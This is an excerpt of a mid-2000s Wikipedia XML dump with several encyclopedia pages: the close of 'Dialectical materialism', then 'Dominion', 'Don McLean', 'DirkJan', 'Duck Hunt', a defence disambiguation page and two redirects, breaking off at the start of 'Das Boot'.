While dialectical materialism has been traditionally associated almost exclusively with Marxism, some claim that the philosophy is applicable to a non-Marxist [[worldview]] as well. There is nothing in either the concept of dialectic as elaborated by Hegel or in materialism itself which requires Marxism. However, because Marxism is essentially free of traditional theological influences, it is particularly well-suited to dialectical materialism, and a comparable political system based on the philosophy has not yet emerged.


==Materialism==
In essence, materialism answers the fundamental question of philosophy by asserting the primacy of the material world: in short, matter precedes thought. 

Materialism holds that the world is material, that all phenomena in the universe consist of matter in motion, wherein all things are interdependent and interconnected and develop in accordance with natural law, that the world exists outside us and independently of our perception of it, that thought is a reflection of the material world in the brain, and that the world is ''in principle'' knowable.
:&quot;The ideal is nothing else than the material world reflected by the human mind, and translated into forms of thought.&quot; --Karl Marx, ''Capital'', Vol. 1.

==Dialectics==
Dialectics is the science of the most general laws of development of nature, society, and thought. Its principal features are as follows:

1) The universe is not an accidental mix of things isolated from each other, but an integral whole, wherein things are mutually interdependent.

2) Nature is in a state of constant motion:
:&quot;All nature, from the smallest thing to the biggest, from a grain of sand to the sun, from the protista to man, is in a constant state of coming into being and going out of being, in a constant flux, in a ceaseless state of movement and change.&quot; --Friedrich Engels, ''Dialectics of Nature''.

3) Development is a process whereby insignificant and imperceptible quantitative changes lead to fundamental, qualitative changes. The latter occur not gradually, but rapidly and abruptly, in the form of a leap from one state to another.
:&quot;Merely quantitative differences, beyond a certain point, pass into qualitative changes.&quot; --Karl Marx, ''Capital'', Vol. 1.

4) All things contain within themselves internal dialectical contradictions, which are the primary cause of motion, change, and development in the world. 

===Laws of dialectics===
The three laws of dialectics are:
* The law of the unity and conflict of opposites;
* The law of the passage of quantitative changes into qualitative changes;
* The law of the negation of the negation.

===Quotation===
:&quot;The question whether objective truth can be attributed to human thinking is not a question of theory but is a ''practical'' question. Man must prove the truth, i.e., the reality and power, the this-worldliness of his thinking in practice.&quot; --Karl Marx, ''[[Theses on Feuerbach]]''

==Selected readings on dialectical materialism==
*''[http://marxists.org/archive/marx/works/1886/ludwig-feuerbach/index.htm Ludwig Feuerbach and the End of Classical German Philosophy]'', Friedrich Engels
*''[http://marxists.org/archive/marx/works/1877/anti-duhring/index.htm Anti-Dühring]'', Friedrich Engels
*''[http://marxists.org/archive/marx/works/1883/don/index.htm Dialectics of Nature]'', Friedrich Engels
*''[http://www.marxists.org/archive/lenin/works/1908/mec/index.htm Materialism and Empirio-Criticism]'', V.I. Lenin
*''Dialectical Materialism'', V.G. Afanasyev
*''[http://www.marxists.org/archive/pannekoe/materialism/index.htm Materialism And Historical Materialism]'', [[Anton Pannekoek]]
*''[http://www.marxist.com/rircontents.asp Reason in Revolt, Marxist Philosophy and Modern Science]'', Ted Grant and Alan Woods

* Ioan, Petru &quot;Logic and Dialectics&quot; AI CUZA University Press, IASI 1998. 

==See also==
'''People'''
* [[Joseph Dietzgen]]
* [[Friedrich Engels]]
* [[Karl Marx]]

'''Concepts'''
* [[Marxist philosophy of nature]]
* [[dialectical monism]]
* [[historical materialism]]
* [[Marxism]]


[[Category:Marxist theory]]

{{Link FA|pl}}

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[[ko:변증법적유물론]]
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    <title>Dominion</title>
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      <text xml:space="preserve">:''This is a page about Dominions of the British Empire and of the Commonwealth of Nations. For other meanings, please see [[Dominion (disambiguation)]].''

A '''Dominion''' is a wholly self-governing or virtually self-governing [[state]] of the [[British Empire]] or [[Commonwealth of Nations]], particularly one which reached that stage of constitutional development in the late [[19th century|19th]] and early [[20th century|20th]] centuries such as [[Canada]], [[Australia]] and [[New Zealand]]. Prior to attaining dominion status these states had always been [[Crown colonies]], under direct rule from [[United Kingdom|Britain]] and/or a [[self-governing colony]], or they have been formed from groups of such colonies. However, the phrase ''Her Majesty's dominions'' (small ''d'') is a legal and constitutional term used to refer to all the realms and territories of the Sovereign, whether independent or not.

In the early 20th century, the main differences between a dominion and a self-governing colony were that a dominion had attained the status of &quot;nationhood&quot;, if not unambiguous political independence, from the United Kingdom. By comparison, a self-governing colony controlled its internal affairs, but did not control [[foreign affairs]], [[defense (military)|defence]] or [[international trade]]. Initially, dominions conducted their own trade policy, some limited foreign relations and had autonomous [[armed forces]], although the British government claimed and exercised the exclusive power to declare wars. However the independence of the dominions in foreign policy, including war, was made clear by the passing and ratification of the [[Statute of Westminster 1931|Statute of Westminster]] in [[1931]].

The term &quot;dominion&quot; is now mostly used only in a historical sense. Many of the distinctive characteristics which once pertained only to dominions are now shared by other states in the Commonwealth, whether they are [[republic|republics]], self-governing colonies or Crown colonies. Even in a historical sense the differences between self-governing colonies and dominions have often been formal rather than substantial. Nonetheless &quot;dominion&quot; remains a correct term for an independent country where the British monarch is represented by a [[Governor-General]] as head of state.

==Historical development==
The short-lived [[Dominion of New England]] ([[1686]]&amp;ndash;[[1689|89]]) was not a dominion in the later, generally-accepted sense of the word. It had an unpopular and [[autocracy | autocratic]] [[president]], appointed by London, Sir [[Edmund Andros]]. The Dominion of New England did not have the independence from Britain that the later dominions were given.

All the colonies of [[British North America]] became [[self-governing colony | self-governing]] between [[1848]] and [[1855]], except the colony of Vancouver Island. [[Nova Scotia]] was the first colony to achieve [[responsible government]] in January-February [[1848]] through the efforts of [[Joseph Howe]], followed by the [[Province of Canada]] later that year. They were followed by [[Prince Edward Island]] in [[1851]], [[New Zealand]] in [[1852]], [[New Brunswick]] and the [[Cape Colony]] in [[1854]], and [[Newfoundland and Labrador | Newfoundland]] in [[1855]] under [[Philip Francis Little]]. However, none of these colonies was referred to as a dominion.

The modern usage of the term ''Dominion'' first occurs in connection with the creation of the [[Dominion of Canada]], a term preferred by the [[Colonial Office]] instead of the term &quot;kingdom&quot; favoured by some [[Fathers of Confederation]]. [[Canada]] was called a &quot;Dominion&quot; upon the [[Canadian Confederation|confederation]] of the [[Province of Canada]], [[New Brunswick]] and [[Nova Scotia]] in [[1867]]. Some Canadians wanted to call their [[nation]] the [[Monarchy | Kingdom]] of Canada. However, Americans, especially the [[yellow journalism | yellow press]] in [[New York]], railed against the idea of a [[monarchy]] in North America. Since the [[United States]] had recently demonstrated its military prowess in the [[American Civil War]] and still harboured resentment at what it perceived to be British favouritism towards the Southern cause, the British took these complaints very seriously. To calm the Americans, the British government successfully resorted to a diplomatic ruse. It explained to Americans that their fears had no foundation because Canada was to become a ''dominion'' rather than a ''kingdom''. It then told the Canadians that ''Dominion'' meant the same as ''kingdom'' (''see:  [[Dominion#Canada|Dominion: Canada]], [[Canada's name]]''). 

Canada was the first and archetypical dominion of the Empire; all additional colonies that achieved this status were also eventually called dominions.

Although the term dominion has rarely been used in [[Australia]], it achieved dominion status with the [[federation]] of its six self-governing colonies as the Commonwealth of Australia, in [[1901]]. [[New Zealand]], which chose not to take part in Australian Federation, first became a dominion on [[September 26]] [[1907]]; the newly-created Union of [[South Africa]] in [[1910]]; and the [[Irish Free State]] (later the [[Republic of Ireland]]) in [[1922]], after the bitter [[Anglo-Irish War]]. All retained the British monarch as [[head of state]], represented locally by a [[governor-general]] appointed in consultation with the Dominion government. The Irish Free State, led by [[W.T. Cosgrave]] was the first dominion to appoint a non-British, non-aristocratic Governor-General, when [[Timothy Michael Healy]] took the position in [[1922]]. Dominion status was never popular in [[Ireland]], where people saw it as a face-saving measure for a [[British government]] unable to countenance a [[republic]] in what had previously been the [[United Kingdom of Great Britain and Ireland]]. This compromise was a direct cause of the [[Irish Civil War]]. Successive Irish governments undermined the constitutional links with Britain, until they were severed completely in 1949. In [[1930]], the Australian PM, [[James Scullin]], reinforced the right of the overseas Dominions to appoint native-born Governors-General, when he appointed Sir [[Isaac Isaacs]], against the wishes of the opposition and officials in London.

[[Newfoundland and Labrador|Newfoundland]] became a self-governing dominion on [[September 26]], [[1907]] (same day as New Zealand) by royal proclamation. Until 1931, it was referred to as a colony of the United Kingdom, as for example, in the 1927 reference to the [[Judicial Committee of the Privy Council]] to delineate the Quebec-Labrador boundary. Full autonomy was granted by the [[United Kingdom]] Parliament with the [[Statute of Westminster 1931|Statute of Westminster]] in December [[1931]]. However, the government of Newfoundland &quot;requested the United Kingdom not to have sections 2 to 6 [ &amp;mdash; ] confirming dominion status [ &amp;mdash; ] apply automatically to it[,] until the Newfoundland Legislature first approved the Statute, approval which the Legislature subsequently never gave.&quot; In any event, Newfoundland's [[letters patent]] of [[1934]] suspended self-government and instituted a &quot;[[Commission of Government]]&quot;, which continued until Newfoundland became a [[Canadian province|province of Canada]] in [[1949]]. It is the view of some constitutional lawyers that &amp;mdash; although Newfoundland chose not to exercise all of the functions of a dominion like Canada &amp;mdash; its status as a dominion was &quot;suspended&quot; in 1934, rather than &quot;revoked&quot; or &quot;abolished&quot;.

Canada, Australia, New Zealand, Newfoundland and South Africa (prior to becoming a republic and leaving the Commonwealth in [[1961]]), with their large populations of European descent, were sometimes collectively referred to as the &quot;White Dominions&quot;. Today Canada, Australia, New Zealand and the United Kingdom are sometimes referred to collectively as the [[White Commonwealth]]. 

Later members of the Commonwealth gained independence, not under the Statute of Westminster but by their own respective independence acts. When British decolonization in Africa began it was hoped the dominion model would again be followed. [[Ghana]], the first new nation was created as a dominion in [[1957]], but declared itself a republic three years later. The other British possessions in Africa also agitated for republic status, and upon independence they seldom remained Dominions. [[Nigeria]] became a dominion in [[1960]] and a republic in [[1963]], [[Tanganyika]] a dominion in [[1961]] and a republic in [[1962]], [[Uganda]] a dominion in [[1962]] and republic in [[1963]], [[Kenya]] a dominion in [[1963]] and a republic in [[1964]], [[Malawi]] a dominion in [[1964]] and republic in [[1966]]. Only [[Gambia]] (five years), [[Sierra Leone]] (ten years), and [[Mauritius]] (24 years) stayed dominions longer than three years.

The United Kingdom and its component parts never aspired to the title of ''Dominion'', remaining anomalies within the network of free and independent equal members of the Empire and Commonwealth. However the idea has on occasions been floated by some in [[Northern Ireland]] as an alternative to a [[United Ireland]] if they felt uncomfortable within the United Kingdom.

==Foreign relations==
Initially the Foreign Office of the [[United Kingdom]] conducted the foreign relations of the Dominions. A Dominions section was created within the Colonial Office for this purpose in [[1907]]. Canada set up its own Department of External Affairs in June [[1909]], but diplomatic relations with other governments continued to operate through the governors-general, through Dominion high commissioners in London (first appointed by Canada in [[1880]]; Australia followed only in [[1910]]) and through British legations abroad. Britain deemed her declaration of war against [[Germany]] in August [[1914]] to extend without the need for consultation to all territories of the Empire, occasioning some displeasure in Canadian official circles and contributing to a brief anti-British insurrection by [[Afrikaners|Afrikaner]] militants in South Africa later that year. A Canadian War Mission in [[Washington, D.C.]], dealt with supply matters from February [[1918]] to March [[1921]].

Although the dominions had had no formal voice in declaring war, each became a separate signatory of the June 1919 peace [[Treaty of Versailles]], which had been negotiated by a British-led united Empire delegation. In September 1922 dominion reluctance to support British military action against [[Turkey]] influenced Britain's decision to seek a compromise settlement. Diplomatic autonomy soon followed, with the U.S.-Canadian Halibut Fisheries Agreement (March [[1923]]) marking the first international treaty negotiated and concluded entirely independently by a dominion. The Dominions section of the [[Colonial Office]] was upgraded in June [[1926]] to a separate Dominions Office. However, initially the same person was appointed as the [[Secretary of State for the Colonies]].

The principle of dominion equality with Britain and independence in foreign relations was formally recognized by the [[Balfour Declaration 1926|Balfour Declaration]] adopted at the [[Imperial Conferences|Imperial Conference]] of November [[1926]]. Canada's first permanent diplomatic mission to a foreign country opened in [[Washington, DC]] in [[1927]]. In [[1928]] Canada obtained the appointment of a British [[high commissioner]] in Ottawa, separating the administrative and diplomatic functions of the governor-general and ending the latter's anomalous role as the representative of the British government in relations between the two countries. The Dominions Office was given a separate secretary of state in June [[1930]], though this was entirely for domestic political reasons given the need to relieve the burden on one ill minister whilst moving another away from unemployment policy. The Balfour Declaration was enshrined in the [[Statute of Westminster 1931]] when it was adopted by the British Parliament and subsequently ratified by the Dominion legislatures.

Britain's declaration of hostilities against Germany in September [[1939]] tested the issue. Most took the view that the declaration did not commit the Dominions. Ireland chose to remain neutral. At the other extreme, the conservative Australian government of the day, led by [[Robert Menzies]], took the view that it was legally bound by the UK declaration of war &amp;mdash; which had also been the view at the outbreak of World War I &amp;mdash; although this was contentious within Australia. Between these two extremes, New Zealand declared that as Britain was or would be at war, so it was too. Canada issued its own declaration of war after a recall of Parliament, as did South Africa after a delay of several weeks. Ireland, which had negotiated the removal of British forces from its territory the year before, chose to remain neutral throughout the war. There were soon signs of growing independence from the other Dominions: Australia opened a diplomatic mission in the US in 1940 and Canada's mission in Washington gained [[Embassy]] status in [[1943]]).

==From Dominions to Commonwealth realms==
[[World War II]], which fatally undermined Britain's already weakened commercial and financial leadership and heightened the importance of the [[United States]] as a source of military assistance, further loosened the political ties between Britain and the Dominions. Australian Prime Minister [[John Curtin]]'s unprecedented action (February [[1942]]) in successfully demanding the recall for home service of Australian troops earmarked for the defence of British-held [[Myanmar|Burma]] demonstrated that Dominion governments might no longer subordinate their own national interests to British strategic perspectives. To ensure that Australia had full legal power to act independently, particularly in relation to defence, Australia formally adopted the Statute of Westminster in October 1942 and backdated the adoption to the start of the war in September [[1939]]. 

The Dominions Office merged with the India Office as the [[Commonwealth Relations Office]] upon the independence of [[India]] and [[Pakistan]] in August [[1947]], and the term ''Dominion'' fell out of general use as India's adoption of republican status in January, [[1950]] signalled the end of the former dependencies' common constitutional connection to the British crown (although Ireland had already dropped its oath of allegiance in [[1932]]): henceforth continuing willing members of what was subsequently styled the Commonwealth agreed to accept the British monarch as head of that association of independent states. Ireland had formally ceased to be a member seven months on the declaration that it was to be described officially as the [[Republic of Ireland]].

Recently, when referring to a nation that has the British Monarch as its [[head of state]] the term ''[[Commonwealth realm]]'' has come into common usage instead of ''Dominion'' to differentiate the Commonwealth nations that continue to recognize the Crown (Australia, Canada, New Zealand, Jamaica, etc.) from those which do not (India, Pakistan, South Africa, etc.). The term Dominion is still to be found in the [[Canadian constitution]] where the term is mentioned four times, most notably ''the Provinces of Canada, Nova Scotia, and New Brunswick shall form and be One Dominion under the Name of Canada''. However, the Canadian government does not use it. The term &quot;realm&quot; does not appear in the Canadian constitution. Present-day usage prefers the term ''realm'' because it includes the United Kingdom as well, emphasising that they are equal to and not subordinate to the United Kingdom.

For example, in a move that emphasised the independence of the separate realms, after the accession of Queen [[Elizabeth II of the United Kingdom|Elizabeth II]] in [[1952]], she was proclaimed not just as Queen of the U.K., but also [[Canadian Monarchy|Queen of Canada]], [[Queen of Australia]], [[Queen of New Zealand]], and of all her other &quot;realms and territories&quot; etc.

The Queen now functions as the independent monarch of sixteen different countries, and any changes to the laws governing the succession to the Crown must be approved by all of these nations' parliaments.

===Canada===
:''See also: [[Canada's name]]''

''Dominion'' is the legal title conferred on [[Canada]] in the [[Constitution of Canada]], namely the [[Constitution Act, 1867]] ([[British North America Acts]]), and describes the resulting political union.  Specifically, the [http://lois.justice.gc.ca/en/const/c1867_e.html preamble of the BNA Act] indicates:

:''Whereas the Provinces of Canada, Nova Scotia, and New Brunswick have expressed their Desire to be federally united into One Dominion under the Crown of the United Kingdom of Great Britain and Ireland, with a Constitution similar in Principle to that of the United Kingdom ...''

and, furthermore, sections 3 and 4 indicate that the provinces:

:''... shall form and be One Dominion under the Name of Canada; and on and after that Day those Three Provinces shall form and be One Dominion under that Name accordingly.''&lt;br&gt;
:''Unless it is otherwise expressed or implied, the Name Canada shall be taken to mean Canada as constituted under this Act.''

Usage of the term ''Dominion of Canada'' was sanctioned as the country's formal political name, and some still read the BNA Act passage as specifying this phrase – rather than ''Canada'' alone – as the name.

References to the ''Dominion of Canada'' in later acts, such as the [[Statute of Westminster]], do not clarify the point because all [[noun]]s were formerly [[capitalization|capitalized]] in British legislative style. Indeed, in the original text of the BNA Act, &quot;One&quot; and &quot;Name&quot; were also capitalized. 

Starting in the [[1950s]], the federal government began to phase out the use of ''dominion'', which had been used largely as a synonym of &quot;federal&quot; or &quot;national&quot; such as &quot;Dominion building&quot; for a post office, &quot;Dominion-provincial relations&quot;, and so on. The last major change was renaming the national holiday from [[Dominion Day]] to [[Canada Day]] in [[1982]], itself brought about by the earlier [[Canada Act 1982]] (which mentions ''Canada'' and is ambivalent regarding the title).  Official [[bilingualism]] also contributed to disuse of ''dominion'', as it has no acceptable equivalent in [[French language|French]].

While the term may be found in older official documents, and the [http://www.parl.gc.ca/Publications/ParlBlgs-e.asp Dominion Carilloneur] still tolls at [[Parliament Hill]], it is rarely used anymore to distinguish the federal government from the provinces or (historically) Canada before and after 1867.

Defenders of the title ''dominion'' – including [[Monarchy in Canada|monarchists]] who see signs of creeping [[Canadian republicanism|republicanism]] in Canada – take comfort in the fact that the [[Constitution Act, 1982]] does not remove the title (by not mentioning it), and contend that a constitutional amendment is required to change it.

==See also==
*[[Canada's name]]
*[[Commonwealth Realm]]
*[[Crown Colony]]
*[[Self-governing colony]]

==Sources==
* Choudry, Sujit. 2001(?). [http://www.law.ualberta.ca/ccskeywords/constitutional_acts.html &quot;Constitution Acts&quot;] (based on looseleaf by [[Peter_Hogg|Hogg, Peter W.]]). ''[http://www.law.ualberta.ca/ccskeywords/index.html Constitutional Keywords]''. University of Alberta, Centre for Constitutional Studies: Edmonton.
* Holland, R.F., ''Britain and the Commonwealth Alliance 1918-1939'', MacMillan, 1981
* [[Eugene Forsey|Forsey, Eugene A.]] 2005. [http://www.parl.gc.ca/information/library/idb/forsey/PDFs/How_Canadians_Govern_Themselves-6ed.pdf ''How Canadians Govern Themselves''], 6th ed. (ISBN 0-662-39689-8) Canada: Ottawa.
* Hallowell, Gerald, ed. 2004. ''The Oxford Companion to Canadian History.'' (ISBN 0-19-541559-0) Oxford University Press: Toronto; p. 183-4.
* Marsh, James H., ed. 1988. &quot;[http://www.canadianencyclopedia.ca/index.cfm?PgNm=TCE&amp;Params=A1ARTA0002344 Dominion]&quot; ''et al.'' ''[[Canadian Encyclopedia|The Canadian Encyclopedia]]''. Hurtig Publishers: Toronto.
* Martin, Robert. 1993(?). [http://www.prayerbook.ca/library/machray/issue5/machray5d.htm 1993 Eugene Forsey Memorial Lecture: A Lament for British North America.] ''The Machray Review.'' Prayer Book Society of Canada. &amp;mdash; ''A summative piece about nomenclature and pertinent history with abundant references.''
* Rayburn, Alan. 2001. ''Naming Canada: stories about Canadian place names'', 2nd ed. (ISBN 0-8020-8293-9) University of Toronto Press: Toronto.

[[Category:British Empire]]
[[Category:Commonwealth realms]]
[[Category:History of Canada]]

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        <id>107307</id>
      </contributor>
      <text xml:space="preserve">[[Image:B00009P1MP.01._SCLZZZZZZZ_.jpg|thumb|Cover of the ''[[American Pie (album)|American Pie]] album.]]''

:''For the British comedian see [[Don Maclean]].''

'''Don McLean''', (born [[October 2]], [[1945]] in [[New Rochelle, New York]]) is an American [[singer-songwriter]], most famous for his 1971 [[ballad]] &quot;[[American Pie (song)|American Pie]]&quot;, about an event known as [[The Day the Music Died]].

Other well-known songs include
*&quot;[[And I Love You So]]&quot; - covered by [[Elvis Presley]], a [[1973 in music|1973 hit]] for [[Perry Como]]
*&quot;[[Vincent (song)|Vincent]]&quot; (a tribute to the 19th century Dutch painter, [[Vincent van Gogh]])
*&quot;Castles in the Air&quot;
*&quot;Winterwood&quot;

A poem about McLean, &quot;Killing Me Softly With His Blues&quot; by [[Lori Lieberman]], was reworked into a song called &quot;[[Killing Me Softly (song)|Killing Me Softly]]&quot; by Charles Fox and Norman Gimbel. Lieberman was the first to record it (in 1971), but the song has two far better-known [[cover version|covers]]. The first major hit version was by [[Roberta Flack]] in 1973; nearly a quarter-century later (1996), another version was a major hit for [[The Fugees]].

In 1981, he had an international number one hit with the [[Roy Orbison]] classic, &quot;[[Crying (song)|Crying]]&quot;. Orbison himself once described McLean as &quot;the voice of the century&quot;, and a subsequent re-recording of the song saw Orbison incorporate elements of McLean's version.

==Discography==
*''Tapestry'' (1970)
*''[[American Pie (album)|American Pie]]'' (1971)
*''Don McLean'' (1972)
*''Playin' Favorites'' (1973)
*''Homeless Brother'' (1974)
*''Solo'' (1976) (LIVE)
*''Prime Time'' (1977)
*''Chain Lightning'' (1978)
*''Believers'' (1981)
*''Dominion'' (1982) (LIVE)
*''For The Memories I &amp; II'' (1986-7)
*''Love Tracks'' (1987)
*''Headroom'' (1990)
*''Favourites and Rarities'' (1993)
*''River of Love'' (1995)
*''Don McLean Sings Marty Robbins'' (2001)
*''Starry Starry Night'' (2001) {Live}
*''You've Got To Share'' (2003) (&quot;The Kid's Album&quot;)
*''The Western Album'' (2003)
*''Christmastime!'' (2004)
*''Rearview Mirror'' (2005)

==External links==
*[http://www.americanpie.com/ Official web site]
*[http://store.americanpie.com/ Official Don McLean music store]

[[Category:1945 births|McLean, Don]]
[[Category:Living people|McLean, Don]]
[[Category:American composers|McLean, Don]]
[[Category:American male singers|McLean, Don]]
[[Category:American musicians|McLean, Don]]
[[Category:American singer-songwriters|McLean, Don]]

[[de:Don McLean]]
[[fi:Don McLean]]
[[he:דון מקלין]]
[[nl:Don McLean]]
[[pl:Don McLean]]
[[pt:Don McLean]]
[[sv:Don McLean]]</text>
    </revision>
  </page>
  <page>
    <title>Delaware Corporation</title>
    <id>8988</id>
    <revision>
      <id>15906916</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>24.93.53.199</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Delaware corporation]]
</text>
    </revision>
  </page>
  <page>
    <title>Defense</title>
    <id>8989</id>
    <revision>
      <id>39587555</id>
      <timestamp>2006-02-14T13:55:04Z</timestamp>
      <contributor>
        <ip>128.100.218.10</ip>
      </contributor>
      <text xml:space="preserve">'''Defence''' or '''defense''' can refer to:

* For defence of a doctoral dissertation see [[thesis committee]]
* [[defense (military)]] 
* [[Civil defense]] measures and [[emergency preparedness]]
* [[war]], a euphemism for 
* [[defense industry (disambiguation)]]
* [[defense (legal)]] , against prosecution and liability
*For defense against an attacker:
** [[self-defense]]
** [[Self-defense (theory)]] and [[defense of property]], legal justifications 
* [[defense (sport)]] 
* [[La Défense]], a business district of high-rise buildings to the west of Paris

{{disambig}}

[[da:Forsvar]]
[[de:Verteidigung]]
[[nl:Defensie]]
[[ne:सुरक्षा]]
[[ja:防衛]]
[[pt:Defesa]]
[[simple:Defense]]</text>
    </revision>
  </page>
  <page>
    <title>Dutch Limburg</title>
    <id>8991</id>
    <revision>
      <id>15906919</id>
      <timestamp>2002-09-06T13:05:57Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>indirect redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Limburg (Netherlands)]]</text>
    </revision>
  </page>
  <page>
    <title>DirkJan</title>
    <id>8992</id>
    <revision>
      <id>18743391</id>
      <timestamp>2005-07-13T13:48:58Z</timestamp>
      <contributor>
        <username>Dapete</username>
        <id>101797</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[nl:DirkJan]]
'''DirkJan''' is a comic, the creation of author and artist [[Mark Retera]]. It is also the name of its main character.

DirkJan is a loser who stumbles through life in mostly three-panel comic strips. He started out in [[1989]] as a student at the current [[Radboud University Nijmegen]] in the Netherlands, where he lived in a typical student house with all the stereotypical side-kicks, such as the frat boy, the beer drinker, the bossy girl who checks if everybody keeps to the house rules, and the tramps who use the heated shared hallway to stay the night. Early DirkJans contained many references to the student life of [[Nijmegen]].

DirkJan was first published in Critic, the magazine for the local union of psychology students. It then moved on to monthly publication in the student magazine of Nijmegen ([[Algemeen Nijmeegs Studentenblad]], [[ANS]]). DirkJan became known nationally when the then only commercial comics magazine of the Netherlands SjoSji (now defunct) started publishing the strip.

With the last move, the nature of the strip changed. Most of the student side-kicks got cancelled and DirkJan left university, first for jail (DJ is a notorious [[leprechaun]] abuser) and then to wander the globe and indeed space.

As of June 2005, there are eight DirkJan albums, tentatively named 'DirkJan 1' through 'DirkJan 8'. Several newspapers in the [[Netherlands]] publish the comic in their daily edition.

The amateur comics magazine [[Iris magazine|Iris]] (1990 - 1995) (re)published a number of DirkJan comics, some of which were refused publication in SjoSji.

Links:

* http://www.mooves.nl/ (two animated DirkJan strips, Flash-only site)
* http://www.rotterdamsdagblad.nl/dirkjan/ (daily DirkJan, at the website of a Dutch newspaper)</text>
    </revision>
  </page>
  <page>
    <title>Duck Hunt</title>
    <id>8993</id>
    <revision>
      <id>41122623</id>
      <timestamp>2006-02-25T04:47:04Z</timestamp>
      <contributor>
        <username>Pagrashtak</username>
        <id>304316</id>
      </contributor>
      <minor />
      <comment>infobox fixes, year link</comment>
      <text xml:space="preserve">{{Infobox CVG| title = Duck Hunt
|image = [[Image:duck_hunt_screenshot.png|center|Screenshot of Duck Hunt.]]
|developer = [[Intelligent Systems]]
|publisher = [[Nintendo]]
|designer = 
|engine = 
|released = [[April 21]], [[1984 in video gaming|1984]] ([[Japan|JP]])&lt;br /&gt;[[October 18]], [[1985 in video gaming|1985]] ([[North America|NA]])&lt;br /&gt;[[August 15]], [[1987 in video gaming|1987]] ([[Europe|EU]])
|genre = [[Arcade game|Arcade]]
|modes = [[Single player]]
|ratings = 
|platforms = Famicom/[[Nintendo Entertainment System|NES]]/[[Arcade game|Arcade]]
|media = 192-[[kilobit]] [[cartridge (electronics)|cartridge]]
|requirements = 
|input = [[NES Zapper]]/[[Light gun]]
}}
'''''Duck Hunt''''' is a [[Computer and video games|FPS video game]] for the [[Nintendo Entertainment System]] (NES) [[video game console|game console system]]. It was one of the two original pack-in titles for the first release of the game system (the other was ''[[Gyromite]]'').

==Gameplay==
In ''Duck Hunt'', players had a special gun apparatus, the [[NES Zapper|Nintendo Zapper Gun]] that they plugged into the NES console, and attempted to shoot down [[ducks]] or [[skeet shooting|clay pigeon]]s in mid-flight. ''Duck Hunt'' was originally released as an [[arcade game]] in [[1984 in video gaming|1984]] and was also included in the [[PlayChoice-10]] arcade console. Like many early video games, ''Duck Hunt'' has no proper ending.

[[Image:duck_hunt_arcade.png|left|thumb|225px|The popular dog can be shot in ''[[Nintendo Vs. Series|Vs. Duck Hunt]]''.]]

The player is also accompanied by a nameless [[dog]] that laughs whenever a duck is missed. The dog has passed into video gaming folklore. Additionally, one of the more popular [[urban legend]]s within the video game community claims that some players have found a way to shoot the dog. This is actually impossible for several gameplay reasons and limitations, although it ''is'' possible to shoot the dog in the bonus round of the arcade version of the game, ''[[Nintendo Vs. Series|Vs. Duck Hunt]]'' (possibly the origin of the urban legend). There is also a fan-made [[Macromedia Flash]] remake of the game that features the ability to shoot the dog. [http://www.cyberiapc.com/flashgames/duckhunt2.swf] The dog also makes a cameo in the NES game [[Barker Bill's Trick Shooting]] (also a Zapper game) and he can be shot.

The game had three modes: one and two-duck variations on the above formula and a third clay pigeon shooting mode. Most players regard this last mode as by far the most difficult; the clay pigeons were much smaller [[sprite (computer graphics)|sprites]] than the ducks. Additionally, in later rounds shooting multiple clays required faster [[reaction time]] than as in the same numbered round in the duck modes.

The [[skeet shooting|skeet shoot]] mode appeared only as a bonus game in ''Vs. Duck Hunt''.

==Packaging==
The game was placed in two combination [[cartridge (electronics)|cartridges]]. If one bought the original Action Set configuration of the NES in the late [[1980s]], ''Duck Hunt'' was included with ''[[Super Mario Bros.]]''. This particular cartridge is the most commonly found NES cartridge in the United States. If one had purchased the NES system in a bundle with the [[Power Pad]], then ''Duck Hunt'' was included on a 3-in-1 cartridge that additionally included [[World Class Track Meet]]. ''Duck Hunt'' was available in a standard single cartridge form, but it is very rare (yet not that valuable).

==Trivia==
* While marketed as a single player game, the second player controller could be used to direct the duck, though it was tricky to master. Many people believe that this is a [[glitch]], but the instruction booklet packaged with the game shows this as a feature.
* The player could not control the ducks in &quot;Two Duck&quot; and the &quot;[[Trap shooting|Trap Shooting]]&quot; modes.
* The [[music]] was composed by [[Hirokazu Tanaka|Hirokazu &quot;Hip&quot; Tanaka]].
* On [[Comedy Central]]'s ''[[The Daily Show with Jon Stewart]]'', this game was used as a &quot;digital simulation&quot; of a duck-hunting trip between [[Donald Rumsfeld]] and Justice [[Antonin Scalia]]. Also mentioned in the [[FCC Song]].
* Duck Hunt does not continue forever. After level 99, the player advances to level &quot;00&quot;. On level &quot;00&quot;, no ducks emerge, but the sound of duck wings persists. After 10 non-duck appearances (and 10 bursts of mocking laughter from the dog), the game ends.
* &quot;Duck Hunted&quot;, a short animated comedy involving a person being transported into the video game world of Duck Hunt, was featured at the 2005 Newport Beach Film Festival.
* On Februrary 14, 2006, the game was again used as &quot;digital simulation&quot; of [[Vice President of the United States|Vice President]] [[Dick Cheney]]'s accidental shooting of [[Harry Whittington]] on both Comedy Central's ''The Daily Show with Jon Stewart'' and [[MSNBC]]'s ''[[Countdown with Keith Olbermann]]''.

==Appearances in other video games==
*''[[Barker Bill's Trick Shooting]]'' has occasional appearances of the ''Duck Hunt'' dog. In the &quot;Balloon Saloon&quot; game, he can be shot when he pops his head up during a round.
*''[[Super Smash Bros. Melee]]'' features a trophy of ducks from ''Duck Hunt''.
*Many entries in the ''[[WarioWare, Inc.]]'' series features minigames based on ''Duck Hunt''.

==See also==
*[[List of Famicom games]]
*[[List of NES games]]
*''[[Repercussions of Fowl Lamentation]]'' - Comedic tribute album of the Duck Hunt soundtrack
*[[List of Duck Hunt games by genre]]

==External links==
*[http://www.johnnyslack.com/duckhunt/ Duck Hunt recreated on Flash]
*{{moby game|id=/duck-hunt|name=''Duck Hunt''}}

[[Category:Light gun games]]
[[Category:Arcade games]]
[[Category:NES games]]
[[Category:Intelligent Systems games]]
[[Category:1984 arcade games]]
[[Category:1984 computer and video games]]
[[Category:First-person shooter]]
[[Category: PlayChoice-10 games]]
[[Category:Nintendo Vs. Series games]]

[[fr:Duck Hunt]]
[[nl:Duck Hunt]]
[[pl:Duck Hunt]]
[[sv:Duck Hunt]]</text>
    </revision>
  </page>
  <page>
    <title>Das Boot</title>
    <id>8994</id>
    <revision>
      <id>42147245</id>
      <timestamp>2006-03-04T03:16:02Z</timestamp>
      <contributor>
